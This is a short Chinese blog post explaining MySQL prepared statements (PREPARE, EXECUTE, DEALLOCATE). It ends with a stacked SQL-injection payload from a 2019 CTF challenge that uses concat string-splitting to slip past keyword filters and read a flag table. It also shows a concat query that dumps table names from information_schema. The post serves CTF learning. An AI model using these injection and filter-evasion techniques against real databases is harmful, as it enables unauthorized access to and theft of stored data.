mysql中Prepare、execute、deallocate的使用方法

tech2022-10-16  113

1、Prepare:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用 2、execute:执行命令 3、Deallocate Prepare:释放命令 4、在SQL语句中,我们使用了问号(?),在此我们可以将问号替换为整型,字符串,双精度浮点型和布尔值

用法:

PREPARE stmt_name FROM preparable_stmt EXECUTE stmt_name [USING 2var_name,[, @var_name]....] {DELLOCATE | DROP} PREPARE stmt_name

类似于函数的用法,prepare准备一个函数的定义,set设定函数的参数,execute传执行函数。@a这种就像变量名。

set @a=concat("sel","ect"," group_con","cat(table_n","ame) ","fro","m"," infor","mation_sc","hema.tabl","es"," whe","re tabl","e_","sche","ma=datab","ase()"); prepare dump from @a; execute dump;

题目例子: 强网杯2019随便注 payload:

1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");PRepare+hello+from+@a;execute+hello;#
最新回复(0)